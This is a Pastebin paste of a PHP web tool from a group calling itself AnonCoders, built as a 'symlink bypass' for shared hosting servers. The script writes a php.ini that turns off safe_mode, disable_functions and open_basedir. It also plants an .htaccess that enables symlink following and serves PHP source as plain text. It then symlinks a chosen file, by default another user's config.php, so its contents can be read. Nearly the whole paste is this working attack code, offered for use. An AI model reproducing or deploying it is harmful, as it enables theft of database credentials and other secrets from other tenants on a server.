Advertisement
AnonCoders_Team

Symlink Bypass 2015 By AnonCoders Team [PHP]

Jul 7th, 2015
558
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.05 KB | None | 0 0
  1. <?php ?><html xmlns="http://www.w3.org/1999/xhtml">
  2.  
  3. <head>
  4. <title>Symlink Bypass 2015 By AnonCoders Team</title><link rel="shortcut icon" href="http://s23.postimg.org/z2jxcild7/Screenshot_0.jpg" type="image/x-icon" />
  5. <link href="http://fonts.googleapis.com/css?family=Ubuntu&effect=fire-animation" rel="stylesheet" type="text/css">
  6. <style type="text/css">
  7. html,body { margin: 0; padding: 0; outline: 0; }
  8. a{ font-size: 12px; }
  9. body { direction: ltr; background:
  10. url("http://s7.postimg.org/t7rpzco4r/Screenshot_0.jpg") repeat ,
  11. url("http://s7.postimg.org/t7rpzco4r/Screenshot_0.jpg") no-repeat center top,top left,top right; background-color:#151515; color: rgb(0, 153, 0); text-align: center } input,textarea,select{ font-weight: bold; color: #000000; }
  12. input,textarea,select:hover{ box-shadow: 0px 0px 4px #00cc00; }
  13. .hedr { font-family: Arial Black, Arial, sans-serif ; font-size: 22px; }
  14. .cont a{ text-decoration: none; color:rgb(0, 153, 0); font-family: Arial Black, Arial, sans-serif ; font-size: 18px; text-shadow: 0px 0px 3px ; }
  15. .cont a:hover{ color: #FF0000 ; text-shadow:0px 0px 3px #ff0000 ; }
  16. .cone a{ text-decoration: none; color:rgb(0, 153, 0); font-family: Arial Black, Arial, sans-serif ; font-size: 14px; text-shadow: 0px 0px 3px ; }
  17. .cone a:hover{ color: #FF0000 ; text-shadow:0px 0px 3px #ff0000 ; }
  18. .tmp tr td{ border: solid 1px #006600; padding: 2px ; font-size: 13px; }
  19. .tmp tr td a { text-decoration: none; }
  20. .foter{ font-size: 9pt; color: #006600 ; text-align: center }
  21. .tmp tr td:hover{ box-shadow: 0px 0px 4px #00cc00; }
  22. .fot{ font-family:Arial Black, Arial, sans-serif; color: #009900 ; font-size: 11pt; }
  23. .for a : hover{ color: #FF0000 ; text-shadow: 0px 0px 1px #FF0000; }
  24. .ir { color: #FF0000; }
  25. .tul { face:Arial Black, Geneva, sans-serif; font-size: 7pt; }
  26. #menu a{ padding: 1px; border: 0px solid green; color: green; text-decoration: none;color: #009900; font-weight: bold; font-family: Arial Black, Geneva, sans-serif; font-size:12px; }
  27. #menu a:hover{ border: 0px solid red; color: red; }
  28.  
  29. </style>
  30.  
  31. </head>
  32.  
  33. <?php
  34.  
  35. // Extract php.ini //
  36.  
  37. $fp = fopen("php.ini","w+");
  38. fwrite($fp,"Safe_mode = OFF
  39. Safe_mode_gid = OFF
  40. Disable_Functions = NONE
  41. Open_basedir = OFF
  42. suhosin.executor.func.blacklist = NONE ");
  43.  
  44.  
  45.  
  46. echo '<br><b class="cont" align="center"><b class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:25px;color:green;>Symlink Bypass 2015 By AnonCoders Team</b></b><br><p align="center">';
  47. echo'
  48. <form method="post">
  49. <input type="text" name="file" value="/home/user/public_html/config.php" size="90"/><br /><br />
  50. <input type="text" name="ac" value="output.txt" size="70"/><br /><br />
  51. <input type="submit" value="Bypass" name="symlink" /> <br /><br />
  52.  
  53.  
  54.  
  55.  
  56.  
  57. </form>
  58. ';
  59. echo '<div class="tul"><b>PHP VERSION:</b> <font color="blue" face="shell, Arial Black, sans-serif" style="font-size: 10pt">';echo phpversion();
  60.  
  61. $fichier = $_POST['file'];
  62. $ac = $_POST['ac'];
  63. $symlink = $_POST['symlink'];
  64.  
  65. if ($symlink)
  66. {
  67.  
  68.  
  69. $dir = "AnonCoders";
  70. if(file_exists($dir)) {
  71. echo "<br><font color='green'>AnonCoders Folder Already Exist :D</font><br />
  72. ";
  73. } else {
  74. @mkdir($dir); {
  75. echo "<br><font color='green'>AnonCoders Folder Created <3</font><br />
  76. ";
  77. echo "<br><font color='green'>$ac Retrieved Successfully :*</font><br />
  78. ";
  79.  
  80. } }
  81.  
  82. // Extract Priv8 htaccess File //
  83. $Priv8 = "#Priv8 htaccess By AnonCoders
  84. OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
  85. DirectoryIndex $ac
  86. ForceType text/plain
  87. AddType text/plain .php
  88. AddType text/plain .html
  89. AddType text/html .shtml
  90. AddType txt .php
  91. Options All
  92. Options All
  93. ";
  94. $f =@fopen ('AnonCoders/.htaccess','w');
  95. @fwrite($f , $Priv8);
  96.  
  97. @symlink("$fichier","AnonCoders/$ac");
  98.  
  99. echo '<br /><a target="_blank" href="AnonCoders/" >'.$ac.'</a>';
  100.  
  101. }
  102. echo"<h3>
  103. We Are: Unknown Al / Black Worm / DarkShadow TN / Dr.T3rr0r / Gunz_Berry </h3>
  104. ";
  105. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement